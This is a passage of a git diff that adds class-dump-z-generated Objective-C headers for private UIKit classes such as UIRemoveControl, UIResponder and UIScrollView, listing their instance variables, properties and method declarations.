KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIKit-Structs.h" +#import "UIView.h" + +@class UIRemoveControlMinusButton, NSString; + +@interface UIRemoveControl : UIView { + UIView* _target; + id _delegate; + UIView* _removeConfirmationButton; + UIRemoveControlMinusButton* _minusButton; + NSString* _label; + struct { + unsigned removeButtonVisible : 1; + unsigned removeConfirmationVisible : 1; + unsigned removedFromTargetWhenHidden : 1; + unsigned disableToggleRotate : 1; + unsigned tableCellTarget : 1; + unsigned alwaysHideRemoveButton : 1; + unsigned editingStyle : 3; + unsigned reserved : 23; + } _removeControlFlags; +} ++(float)removeButtonWidth; ++(BOOL)removeConfirmationsVisibleInView:(id)view; ++(void)hideAllRemoveConfirmationsInView:(id)view; +-(id)initWithTarget:(id)target; +-(void)dealloc; +-(void)removeFromSuperview; +-(void)layoutSubviews; +-(void)setTarget:(id)target; +-(void)setDelegate:(id)delegate; +-(id)delegate; +-(void)setRemovedFromTargetWhenHidden:(BOOL)targetWhenHidden; +-(void)setAlwaysHideRemoveButton:(BOOL)button; +-(BOOL)removedFromTargetWhenHidden; +-(void)_setInterceptMouseEvent:(BOOL)event; +-(void)minusButtonDidHide:(id)minusButton; +-(void)_minusButtonFadeAnimationStopped; +-(CGRect)defaultRemoveButtonStartingFrame; +-(CGRect)defaultRemoveButtonEndingFrame; +-(CGRect)removeButtonStartingFrame; +-(CGRect)removeButtonEndingFrame; +-(float)removeButtonAnimationDuration; +-(void)showRemoveButton:(BOOL)button animated:(BOOL)animated; +-(BOOL)isRemoveButtonVisible; +-(void)_confirmationAnimationDidEnd; +-(CGRect)targetContentBounds; +-(CGRect)_removeConfirmationStartingFrame; +-(CGRect)_removeConfirmationEndingFrame; +-(void)_setRemoveConfirmationShowing:(BOOL)showing animated:(BOOL)animated; +-(BOOL)isRemoveConfirmationVisible; +-(void)setRemoveConfirmationVisible:(BOOL)visible; +-(void)setRemoveConfirmationVisible:(BOOL)visible animated:(BOOL)animated; +-(id)removeConfirmationView; +-(void)setHighlighted:(BOOL)highlighted; +-(void)isHighlighted; +-(void)setSelected:(BOOL)selected; +-(id)_interceptMouseEvent:(GSEventRef)event; +-(id)_interceptEvent:(id)event; +-(void)setAlpha:(float)alpha; +-(void)hideControlsUsingRemoveAnimation; +-(void)setLabel:(id)label; +-(void)setRemoveConfirmationLabel:(id)label; +-(id)removeConfirmationButton; +-(id)_scriptingInfo; +-(float)_verticalOffsetFromTarget; +-(BOOL)_isInsertControl; +-(void)_setInsertControl:(BOOL)control; +-(void)_setTableViewCellEditingStyle:(int)style; +-(void)addConfirmationButtonSubview:(id)subview withWidth:(float)width target:(id)target; +-(void)_hideRemoveConfirmation; +-(void)_showDeleteConfirmation:(id)confirmation; +-(void)_doInsert:(id)insert; +-(void)_doRemove:(id)remove; +-(void)_shouldRemoveTarget; +-(void)animator:(id)animator stopAnimation:(id)animation; +-(void)_hideRemoveAnimationDone; +@end + diff --git a/igor/headers/dumpedUIKit/UIRemoveControlMinusButton.h b/igor/headers/dumpedUIKit/UIRemoveControlMinusButton.h new file mode 100644 index 0000000..30f1ddd --- /dev/null +++ b/igor/headers/dumpedUIKit/UIRemoveControlMinusButton.h @@ -0,0 +1,36 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIKit-Structs.h" +#import "UIControl.h" + + +__attribute__((visibility("hidden"))) +@interface UIRemoveControlMinusButton : UIControl { +@private + unsigned _rotated : 1; + unsigned _rotating : 1; + unsigned _hiding : 1; + unsigned _showAsPlus : 1; + unsigned _reserved : 28; + float _verticalOffset; +} ++(float)defaultWidth; ++(id)minusImage; ++(id)plusImage; +-(id)initWithRemoveControl:(id)removeControl; +-(void)dealloc; +-(void)setHiding:(BOOL)hiding; +-(BOOL)isHiding; +-(void)drawRect:(CGRect)rect; +-(void)animator:(id)animator stopAnimation:(id)animation; +-(void)toggleRotate:(BOOL)rotate; +-(BOOL)isRotated; +-(BOOL)isRotating; +-(void)_toggleRotateAnimationDidStop:(id)_toggleRotateAnimation finished:(BOOL)finished; +@end + diff --git a/igor/headers/dumpedUIKit/UIRemoveControlMultiSelectButton.h b/igor/headers/dumpedUIKit/UIRemoveControlMultiSelectButton.h new file mode 100644 index 0000000..c8834be --- /dev/null +++ b/igor/headers/dumpedUIKit/UIRemoveControlMultiSelectButton.h @@ -0,0 +1,34 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIKit-Structs.h" +#import "UIRemoveControlMinusButton.h" + + +__attribute__((visibility("hidden"))) +@interface UIRemoveControlMultiSelectButton : UIRemoveControlMinusButton { +@private + unsigned _isHighlighted : 1; + unsigned _isSelected : 1; +} ++(float)defaultWidth; ++(id)minusImage; ++(id)plusImage; ++(id)minusCenterImage; +-(id)initWithRemoveControl:(id)removeControl; +-(void)toggleRotate:(BOOL)rotate; +-(BOOL)isRotated; +-(BOOL)isRotating; +-(BOOL)isHiding; +-(void)setHiding:(BOOL)hiding; +-(void)drawRect:(CGRect)rect; +-(void)setSelected:(BOOL)selected highlighted:(BOOL)highlighted; +-(void)setHighlighted:(BOOL)highlighted; +-(BOOL)isHighlighted; +-(void)setSelected:(BOOL)selected; +@end + diff --git a/igor/headers/dumpedUIKit/UIRemoveControlTextButton.h b/igor/headers/dumpedUIKit/UIRemoveControlTextButton.h new file mode 100644 index 0000000..4a93e3d --- /dev/null +++ b/igor/headers/dumpedUIKit/UIRemoveControlTextButton.h @@ -0,0 +1,33 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIControl.h" +#import "UIKit-Structs.h" + +@class UITableCell, NSString; + +__attribute__((visibility("hidden"))) +@interface UIRemoveControlTextButton : UIControl { +@private + UITableCell* _tableCell; + NSString* _label; +} +-(id)initWithRemoveControl:(id)removeControl withTarget:(id)target withLabel:(id)label; +-(void)_controlMouseDragged:(GSEventRef)dragged; +-(void)dealloc; +-(void)_controlMouseDown:(GSEventRef)down; +-(void)_controlMouseUp:(GSEventRef)up; +-(void)_controlTouchBegan:(id)began withEvent:(id)event; +-(void)_controlTouchMoved:(id)moved withEvent:(id)event; +-(void)_controlTouchEnded:(id)ended withEvent:(id)event; +-(void)sizeToFit; +-(float)buttonWidth; +-(BOOL)_alwaysHandleScrollerMouseEvent; +-(void)drawRect:(CGRect)rect; +-(id)_scriptingInfo; +@end + diff --git a/igor/headers/dumpedUIKit/UIRemoveControlTextFrameAnimation.h b/igor/headers/dumpedUIKit/UIRemoveControlTextFrameAnimation.h new file mode 100644 index 0000000..38d0a26 --- /dev/null +++ b/igor/headers/dumpedUIKit/UIRemoveControlTextFrameAnimation.h @@ -0,0 +1,17 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIKit-Structs.h" +#import "UIFrameAnimation.h" + + +__attribute__((visibility("hidden"))) +@interface UIRemoveControlTextFrameAnimation : UIFrameAnimation { +} +-(void)setProgress:(float)progress; +@end + diff --git a/igor/headers/dumpedUIKit/UIResponder.h b/igor/headers/dumpedUIKit/UIResponder.h new file mode 100644 index 0000000..b27f476 --- /dev/null +++ b/igor/headers/dumpedUIKit/UIResponder.h @@ -0,0 +1,65 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import +#import "UIResponder.h" +#import "UIKit-Structs.h" + +@class NSUndoManager; + +@interface UIResponder : NSObject { +} +@property(readonly, assign, nonatomic) NSUndoManager* undoManager; +-(void)mouseDown:(GSEventRef)down; +-(void)mouseUp:(GSEventRef)up; +-(void)mouseDragged:(GSEventRef)dragged; +-(void)mouseEntered:(GSEventRef)entered; +-(void)mouseExited:(GSEventRef)exited; +-(void)mouseMoved:(GSEventRef)moved; +-(void)touchesBegan:(id)began withEvent:(id)event; +-(void)touchesMoved:(id)moved withEvent:(id)event; +-(void)touchesEnded:(id)ended withEvent:(id)event; +-(void)touchesCancelled:(id)cancelled withEvent:(id)event; +-(void)motionBegan:(int)began withEvent:(id)event; +-(void)motionEnded:(int)ended withEvent:(id)event; +-(void)motionCancelled:(int)cancelled withEvent:(id)event; +-(void)scrollWheel:(GSEventRef)wheel; +-(void)keyDown:(GSEventRef)down; +-(void)keyUp:(GSEventRef)up; +-(void)gestureStarted:(GSEventRef)started; +-(void)gestureEnded:(GSEventRef)ended; +-(void)gestureChanged:(GSEventRef)changed; +-(id)nextResponder; +-(BOOL)_containedInAbsoluteResponderChain; +-(BOOL)_containsResponder:(id)responder; +-(BOOL)becomeFirstResponder; +-(BOOL)canBecomeFirstResponder; +-(BOOL)resignFirstResponder; +-(BOOL)canResignFirstResponder; +-(BOOL)isFirstResponder; +-(id)firstResponder; +-(void)_clearBecomeFirstResponderWhenCapable; +-(BOOL)canPerformAction:(SEL)action withSender:(id)sender; +@end + +@interface UIResponder (Static) +-(void)_setFirstResponder:(id)responder; +-(id)_firstResponder; +-(id)_responderForBecomeFirstResponder; +-(BOOL)_becomeFirstResponderWhenPossible; +@end + +@interface UIResponder (Internal) +-(void)_controlMouseDown:(GSEventRef)down; +-(void)_controlMouseUp:(GSEventRef)up; +-(void)_controlMouseDragged:(GSEventRef)dragged; +-(void)_controlTouchBegan:(id)began withEvent:(id)event; +-(void)_controlTouchMoved:(id)moved withEvent:(id)event; +-(void)_controlTouchEnded:(id)ended withEvent:(id)event; +-(id)_targetForAction:(SEL)action withSender:(id)sender; +@end + diff --git a/igor/headers/dumpedUIKit/UIRotationAnimation.h b/igor/headers/dumpedUIKit/UIRotationAnimation.h new file mode 100644 index 0000000..2881ec4 --- /dev/null +++ b/igor/headers/dumpedUIKit/UIRotationAnimation.h @@ -0,0 +1,19 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIAnimation.h" + + +@interface UIRotationAnimation : UIAnimation { + float _startAngle; + float _endAngle; +} +-(void)setStartRotationAngle:(float)angle; +-(void)setEndRotationAngle:(float)angle; +-(void)setProgress:(float)progress; +@end + diff --git a/igor/headers/dumpedUIKit/UIRoundedRectButton.h b/igor/headers/dumpedUIKit/UIRoundedRectButton.h new file mode 100644 index 0000000..74818bb --- /dev/null +++ b/igor/headers/dumpedUIKit/UIRoundedRectButton.h @@ -0,0 +1,28 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIButton.h" +#import "UIKit-Structs.h" + +@class UIBezierPath; + +__attribute__((visibility("hidden"))) +@interface UIRoundedRectButton : UIButton { +@private + UIBezierPath* _fillPath; +} +-(void)_commonRoundedRectButtonInit; +-(id)initWithFrame:(CGRect)frame; +-(void)dealloc; +-(void)_invalidatePaths; +-(void)setFrame:(CGRect)frame; +-(CGSize)sizeThatFits:(CGSize)fits; +-(int)buttonType; +-(void)setHighlighted:(BOOL)highlighted; +-(void)drawRect:(CGRect)rect; +@end + diff --git a/igor/headers/dumpedUIKit/UIRuntimeAccessibilityConfiguration.h b/igor/headers/dumpedUIKit/UIRuntimeAccessibilityConfiguration.h new file mode 100644 index 0000000..02de29a --- /dev/null +++ b/igor/headers/dumpedUIKit/UIRuntimeAccessibilityConfiguration.h @@ -0,0 +1,32 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import + +@class NSString, NSNumber; + +__attribute__((visibility("hidden"))) +@interface UIRuntimeAccessibilityConfiguration : NSObject { +@private + NSString* accessibilityConfigurationHint; + NSString* accessibilityConfigurationLabel; + NSNumber* accessibilityConfigurationTraits; + NSNumber* isAccessibilityConfigurationElement; + NSObject* object; +} +@property(retain, nonatomic) NSString* accessibilityConfigurationHint; +@property(retain, nonatomic) NSString* accessibilityConfigurationLabel; +@property(retain, nonatomic) NSNumber* accessibilityConfigurationTraits; +@property(retain, nonatomic) NSNumber* isAccessibilityConfigurationElement; +@property(retain, nonatomic) NSObject* object; +-(id)initWithObject:(id)object label:(id)label hint:(id)hint traits:(id)traits andIsAccessibilityElement:(id)element; +-(id)initWithCoder:(id)coder; +-(void)encodeWithCoder:(id)coder; +-(void)dealloc; +-(void)applyConfiguration; +@end + diff --git a/igor/headers/dumpedUIKit/UIRuntimeConnection.h b/igor/headers/dumpedUIKit/UIRuntimeConnection.h new file mode 100644 index 0000000..053a7b3 --- /dev/null +++ b/igor/headers/dumpedUIKit/UIRuntimeConnection.h @@ -0,0 +1,32 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import +#import "NSCoding.h" + +@class NSString; + +__attribute__((visibility("hidden"))) +@interface UIRuntimeConnection : NSObject { +@private + id source; + id destination; + NSString* label; +} +-(id)initWithCoder:(id)coder; +-(void)encodeWithCoder:(id)coder; +-(void)dealloc; +-(id)source; +-(void)setSource:(id)source; +-(id)destination; +-(void)setDestination:(id)destination; +-(id)label; +-(void)setLabel:(id)label; +-(void)connect; +-(void)connectForSimulator; +@end + diff --git a/igor/headers/dumpedUIKit/UIRuntimeEventConnection.h b/igor/headers/dumpedUIKit/UIRuntimeEventConnection.h new file mode 100644 index 0000000..86fcb38 --- /dev/null +++ b/igor/headers/dumpedUIKit/UIRuntimeEventConnection.h @@ -0,0 +1,24 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIRuntimeConnection.h" + + +__attribute__((visibility("hidden"))) +@interface UIRuntimeEventConnection : UIRuntimeConnection { +@private + unsigned eventMask; +} +-(id)initWithCoder:(id)coder; +-(void)encodeWithCoder:(id)coder; +-(void)connect; +-(void)connectForSimulator; +-(unsigned)eventMask; +-(void)setEventMask:(unsigned)mask; +-(id)description; +@end + diff --git a/igor/headers/dumpedUIKit/UIRuntimeMultiOutletConnection.h b/igor/headers/dumpedUIKit/UIRuntimeMultiOutletConnection.h new file mode 100644 index 0000000..2055fbd --- /dev/null +++ b/igor/headers/dumpedUIKit/UIRuntimeMultiOutletConnection.h @@ -0,0 +1,18 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIRuntimeConnection.h" + + +__attribute__((visibility("hidden"))) +@interface UIRuntimeMultiOutletConnection : UIRuntimeConnection { +} +-(void)connect; +-(void)connectForSimulator; +-(id)description; +@end + diff --git a/igor/headers/dumpedUIKit/UIRuntimeOutletConnection.h b/igor/headers/dumpedUIKit/UIRuntimeOutletConnection.h new file mode 100644 index 0000000..f966e97 --- /dev/null +++ b/igor/headers/dumpedUIKit/UIRuntimeOutletConnection.h @@ -0,0 +1,18 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIRuntimeConnection.h" + + +__attribute__((visibility("hidden"))) +@interface UIRuntimeOutletConnection : UIRuntimeConnection { +} +-(void)connect; +-(void)connectForSimulator; +-(id)description; +@end + diff --git a/igor/headers/dumpedUIKit/UIScreen.h b/igor/headers/dumpedUIKit/UIScreen.h new file mode 100644 index 0000000..ab72223 --- /dev/null +++ b/igor/headers/dumpedUIKit/UIScreen.h @@ -0,0 +1,22 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIKit-Structs.h" +#import + + +@interface UIScreen : NSObject { +@private + CGRect _bounds; +} +@property(readonly, assign, nonatomic) CGRect bounds; +@property(readonly, assign, nonatomic) CGRect applicationFrame; ++(id)mainScreen; +-(id)init; +-(CGRect)_applicationFrameForInterfaceOrientation:(int)interfaceOrientation; +@end + diff --git a/igor/headers/dumpedUIKit/UIScrollAnimation.h b/igor/headers/dumpedUIKit/UIScrollAnimation.h new file mode 100644 index 0000000..9a6efad --- /dev/null +++ b/igor/headers/dumpedUIKit/UIScrollAnimation.h @@ -0,0 +1,20 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIAnimation.h" +#import "UIKit-Structs.h" + + +@interface UIScrollAnimation : UIAnimation { + CGPoint _startPoint; + CGPoint _endPoint; +} +-(void)setStartPoint:(CGPoint)point; +-(void)setEndPoint:(CGPoint)point; +-(void)setProgress:(float)progress; +@end + diff --git a/igor/headers/dumpedUIKit/UIScrollView.h b/igor/headers/dumpedUIKit/UIScrollView.h new file mode 100644 index 0000000..642eea7 --- /dev/null +++ b/igor/headers/dumpedUIKit/UIScrollView.h @@ -0,0 +1,267 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIView.h" +#import "UIKit-Structs.h" +#import "NSCoding.h" +#import "UIScrollView.h" + +@class UIImageView, NSArray; +@protocol UIScrollViewDelegate; + +@interface UIScrollView : UIView { +@private + CGSize _contentSize; + UIEdgeInsets _contentInset; + id _delegate; + UIImageView* _verticalScrollIndicator; + UIImageView* _horizontalScrollIndicator; + UIEdgeInsets _scrollIndicatorInset; + struct { + unsigned tracking : 1; + unsigned dragging : 1; + unsigned bounceEnabled : 1; + unsigned bouncesZoom : 1; + unsigned zoomBouncing : 1; + unsigned alwaysBounceHorizontal : 1; + unsigned alwaysBounceVertical : 1; + unsigned canCancelContentTouches : 1; + unsigned delaysContentTouches : 1; + unsigned programmaticScrollDisabled : 1; + unsigned scrollDisabled : 1; + unsigned scrollTriggered : 1; + unsigned scrollDisabledOnTouchBegan : 1; + unsigned ignoreNextTouchesMoved : 1; + unsigned cancelNextContentTouchEnded : 1; + unsigned inContentViewCall : 1; + unsigned dontSelect : 1; + unsigned contentTouched : 1; + unsigned cantCancel : 1; + unsigned directionalLockEnabled : 1; + unsigned directionalLockAutoEnabled : 1; + unsigned lockVertical : 1; + unsigned lockHorizontal : 1; + unsigned keepLocked : 1; + unsigned showsHorizontalScrollIndicator : 1; + unsigned showsVerticalScrollIndicator : 1; + unsigned indicatorStyle : 2; + unsigned inZoom : 1; + unsigned hideIndicatorsInZoom : 1; + unsigned pushedTrackingMode : 1; + unsigned multipleDrag : 1; + unsigned displayingScrollIndicators : 1; + unsigned verticalIndicatorShrunk : 1; + unsigned horizontalIndicatorShrunk : 1; + unsigned contentFitDisableScrolling : 1; + unsigned pagingEnabled : 1; + unsigned dontScrollToTop : 1; + unsigned scrollingToTop : 1; + unsigned useGestures : 1; + unsigned autoscrolling : 1; + unsigned automaticContentOffsetAdjustmentDisabled : 1; + unsigned delegateScrollViewDidScroll : 1; + } _scrollViewFlags; + float _scrollHysteresis; + float _farthestDistance; + CGPoint _initialTouchPosition; + CGPoint _startTouchPosition; + double _startTouchTime; + CGPoint _startOffset; + CGPoint _lastTouchPosition; + double _lastTouchTime; + double _lastUpdateTime; + CGPoint _lastUpdateOffset; + UIView* _contentView; + float _minimumZoomScale; + float _maximumZoomScale; + float _unadjustedZoomScale; + UIView* _zoomView; + double _horizontalVelocity; + double _verticalVelocity; + double _previousHorizontalVelocity; + double _previousVerticalVelocity; + CGPoint _stopOffset; + void* _scrollHeartbeat; + CGSize _decelerationFactor; + double _decelerationLnFactorH; + double _decelerationLnFactorV; + NSArray* _deferredBeginTouchesInfo; + UIImageView** _shadows; + id _scrollNotificationViews; + CGSize _gridBounceLnFactor; + double _contentOffsetAnimationDuration; + int _fastScrollCount; + float _fastScrollMultiplier; + float _fastScrollStartMultiplier; + double _fastScrollEndTime; +} +@property(assign, nonatomic) CGSize contentSize; +@property(assign, nonatomic) UIEdgeInsets contentInset; +@property(assign, nonatomic) id delegate; +@property(assign, nonatomic) float maximumZoomScale; +@property(assign, nonatomic) BOOL scrollsToTop; +@property(readonly, assign, nonatomic, getter=isZoomBouncing) BOOL zoomBouncing; +@property(readonly, assign, nonatomic, getter=isZooming) BOOL zooming; +@property(assign, nonatomic) BOOL bouncesZoom; +@property(assign, nonatomic) float zoomScale; +@property(assign, nonatomic) float minimumZoomScale; +@property(assign, nonatomic) BOOL canCancelContentTouches; +@property(assign, nonatomic) BOOL delaysContentTouches; +@property(readonly, assign, nonatomic, getter=isDecelerating) BOOL decelerating; +@property(readonly, assign, nonatomic, getter=isDragging) BOOL dragging; +@property(readonly, assign, nonatomic, getter=isTracking) BOOL tracking; +@property(assign, nonatomic) float decelerationRate; +@property(assign, nonatomic) int indicatorStyle; +@property(assign, nonatomic) UIEdgeInsets scrollIndicatorInsets; +@property(assign, nonatomic) BOOL showsVerticalScrollIndicator; +@property(assign, nonatomic) BOOL showsHorizontalScrollIndicator; +@property(assign, nonatomic, getter=isScrollEnabled) BOOL scrollEnabled; +@property(assign, nonatomic, getter=isPagingEnabled) BOOL pagingEnabled; +@property(assign, nonatomic) BOOL alwaysBounceHorizontal; +@property(assign, nonatomic) BOOL alwaysBounceVertical; +@property(assign, nonatomic) BOOL bounces; +@property(assign, nonatomic, getter=isDirectionalLockEnabled) BOOL directionalLockEnabled; +@property(assign, nonatomic) CGPoint contentOffset; +-(id)initWithFrame:(CGRect)frame; +-(id)initWithCoder:(id)coder; +-(void)_populateArchivedSubviews:(id)subviews; +-(void)encodeWithCoder:(id)coder; +-(void)dealloc; +-(id)_pinchGesture; +-(void)_updatePinchGesture; +-(id)_panGesture; +-(id)_scrollViewTouchDelayGesture; +-(void)setFrame:(CGRect)frame; +-(void)setBounds:(CGRect)bounds; +-(void)removeFromSuperview; +-(void)_didMoveFromWindow:(id)window toWindow:(id)window2; +-(void)setContentOffset:(CGPoint)offset animated:(BOOL)animated; +-(void)scrollRectToVisible:(CGRect)visible animated:(BOOL)animated; +-(void)setProgrammaticScrollEnabled:(BOOL)enabled; +-(BOOL)isProgrammaticScrollEnabled; +-(float)horizontalScrollDecelerationFactor; +-(void)setHorizontalScrollDecelerationFactor:(float)factor; +-(float)verticalScrollDecelerationFactor; +-(void)setVerticalScrollDecelerationFactor:(float)factor; +-(BOOL)usesGestureRecognizers; +-(void)delayed:(id)delayed; +-(void)setUsesGestureRecognizers:(BOOL)recognizers; +-(void)flashScrollIndicators; +-(void)_setShowsBackgroundShadow:(BOOL)shadow; +-(BOOL)_showsBackgroundShadow; +-(void)setShowBackgroundShadow:(BOOL)shadow; +-(id)commonHitTest:(id)test; +-(id)hitTest:(CGPoint)test forEvent:(GSEventRef)event; +-(id)hitTest:(CGPoint)test withEvent:(id)event; +-(BOOL)_usesDifferentHitTestForGestures; +-(id)_gestureTargetHitTest:(CGPoint)test withEvent:(id)event; +-(void)_scrollViewWillBeginDragging; +-(void)_scrollViewDidEndDraggingWithDeceleration:(BOOL)_scrollView; +-(void)_scrollViewDidEndDecelerating; +-(CGPoint)_touchPositionForTouches:(id)touches; +-(BOOL)_updatePanWithStartDelta:(CGSize)startDelta event:(id)event gesture:(id)gesture ignoringDirectionalScroll:(BOOL)scroll; +-(void)_endPanWithEvent:(id)event; +-(id)_getDelegateZoomView; +-(void)handlePan:(id)pan; +-(void)handlePinch:(id)pinch; +-(void)touchesBegan:(id)began withEvent:(id)event; +-(void)touchesMoved:(id)moved withEvent:(id)event; +-(void)_touchesEnded:(id)ended withEvent:(id)event wasCancelled:(BOOL)cancelled; +-(void)touchesEnded:(id)ended withEvent:(id)event; +-(void)touchesCancelled:(id)cancelled withEvent:(id)event; +-(BOOL)canHandleSwipes; +-(int)swipe:(int)swipe withEvent:(GSEventRef)event; +-(BOOL)cancelTouchTracking; +-(BOOL)cancelMouseTracking; +-(void)cancelNextContentTouchEnded; +-(BOOL)touchesShouldBegin:(id)touches withEvent:(id)event inContentView:(id)contentView; +-(BOOL)touchesShouldCancelInContentView:(id)touches; +-(CGPoint)_centeredScrollPointForPoint:(CGPoint)point scale:(float)scale; +-(CGPoint)_zoomScrollPointForRect:(CGRect)rect scale:(float)scale; +-(float)_zoomRubberBandScaleForScale:(float)scale; +-(void)setZoomScale:(float)scale withAnchorPoint:(CGPoint)anchorPoint validatingScrollOffset:(BOOL)offset allowRubberbanding:(BOOL)rubberbanding animated:(BOOL)animated; +-(void)setZoomScale:(float)scale animated:(BOOL)animated; +-(void)zoomToRect:(CGRect)rect animated:(BOOL)animated; +@end + +@interface UIScrollView (Static) +-(void)_notifyDidScroll; +-(void)_smoothScroll:(double)scroll; +-(BOOL)_continueScrollingAtOffset:(CGPoint)offset; +-(void)_popTrackingRunLoopMode; +-(void)_runLoopModePopped:(id)popped; +-(void)_startTimer:(BOOL)timer; +-(void)_deferredBeginTouchesInContentView; +-(void)_adjustScrollerIndicators:(BOOL)indicators alwaysShowingThem:(BOOL)them; +-(void)_adjustContentOffsetIfNecessary; +-(void)_hideScrollIndicators; +@end + +@interface UIScrollView (UIScrollViewInternal) +@property(assign, nonatomic, getter=isProgrammaticScrollEnabled) BOOL programmaticScrollEnabled; +-(void)_adjustBackgroundShadowsForContentSize; +-(void)_stopScrollDecelerationNotify:(BOOL)notify; +-(void)_stopScrollingNotify:(BOOL)notify dealloc:(BOOL)dealloc pin:(BOOL)pin; +-(void)_resetScrollingWithEvent:(GSEventRef)event; +-(void)_resetScrollingWithUIEvent:(id)uievent; +-(BOOL)_resetScrollingForGestureEvent:(id)gestureEvent; +-(void)_scrollGestureFailed; +-(void)_addScrollNotificationView:(id)view; +-(void)_removeScrollNotificationView:(id)view; +-(BOOL)_canCancelContentTouches:(id)touches; +-(BOOL)_cancelContentTouchWithEvent:(id)event forced:(BOOL)forced; +-(void)_addContentSubview:(id)subview atBack:(BOOL)back; +-(void)_moveContentSubview:(id)subview toBack:(BOOL)back; +-(void)_setContentOffsetAnimationDuration:(double)duration; +-(double)_contentOffsetAnimationDuration; +-(void)_setContentOffset:(CGPoint)offset animated:(BOOL)animated animationCurve:(int)curve; +-(void)_setAutomaticContentOffsetAdjustmentEnabled:(BOOL)enabled; +-(void)_scrollViewAnimationEnded; +-(BOOL)_scrollToTop; +-(BOOL)_scrollsToMakeFirstResponderVisible; +-(id)_defaultHitTest:(CGPoint)test withEvent:(id)event; +-(id)_hitTestForContentView:(CGPoint)contentView withEvent:(id)event; +-(void)_beginTouchesInContentView:(id)contentView touches:(id)touches withEvent:(id)event; +-(id)_touchedContentView; +-(double)_touchDelayForScrollDetection; +-(CGPoint)_stopOffset; +-(double)_horizontalVelocity; +-(double)_verticalVelocity; +-(void)_shiftOffset:(CGSize)offset; +-(void)_adjustForAutomaticKeyboardInfo:(id)automaticKeyboardInfo lastAdjustment:(float*)adjustment; +-(BOOL)_canScrollX; +-(BOOL)_canScrollY; +-(void)_setAutoscrolling:(BOOL)autoscrolling; +-(BOOL)_isAutoscrolling; +-(CGPoint)autoscrollContentOffset; +-(void)setAutoscrollContentOffset:(CGPoint)offset; +-(CGRect)contentFrameForView:(id)view; +@end + +@interface UIScrollView (UIScrollViewGestures) +-(CGPoint)offset; +-(void)setOffset:(CGPoint)offset; +-(void)setScrollingEnabled:(BOOL)enabled; +-(void)_startGesture:(id)gesture withEvent:(id)event; +-(void)_changedGesture:(id)gesture withEvent:(id)event; +-(void)_endGesture:(id)gesture withEvent:(id)event; +-(void)didFinishGesture:(int)gesture inView:(id)view forEvent:(GSEventRef)event; +@end + +@interface UIScrollView (UIKitAccessibilityInterfaceBuilderSupport) +-(BOOL)isElementAccessibilityExposedToInterfaceBuilder; +@end + +@interface UIScrollView (UIAutoscrollAdditions) +-(BOOL)_isScrollingEnabled; +@end + +@interface UIScrollView (UITextRangeViewScrollerSupport) +-(void)_enableScrollingIfNecessary; +-(void)_disableScrollingIfNecessary; +@end + diff --git a/igor/headers/dumpedUIKit/UIScrollViewDelayedTouchesBeganGestureRecognizer.h b/igor/headers/dumpedUIKit/UIScrollViewDelayedTouchesBeganGestureRecognizer.h new file mode 100644 index 0000000..42067bf --- /dev/null +++ b/igor/headers/dumpedUIKit/UIScrollViewDelayedTouchesBeganGestureRecognizer.h @@ -0,0 +1,28 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIGestureRecognizer.h" + +@class UIDelayedAction; + +__attribute__((visibility("hidden"))) +@interface UIScrollViewDelayedTouchesBeganGestureRecognizer : UIGestureRecognizer { +@private + UIDelayedAction* _touchDelay; +} +-(void)clearTimer; 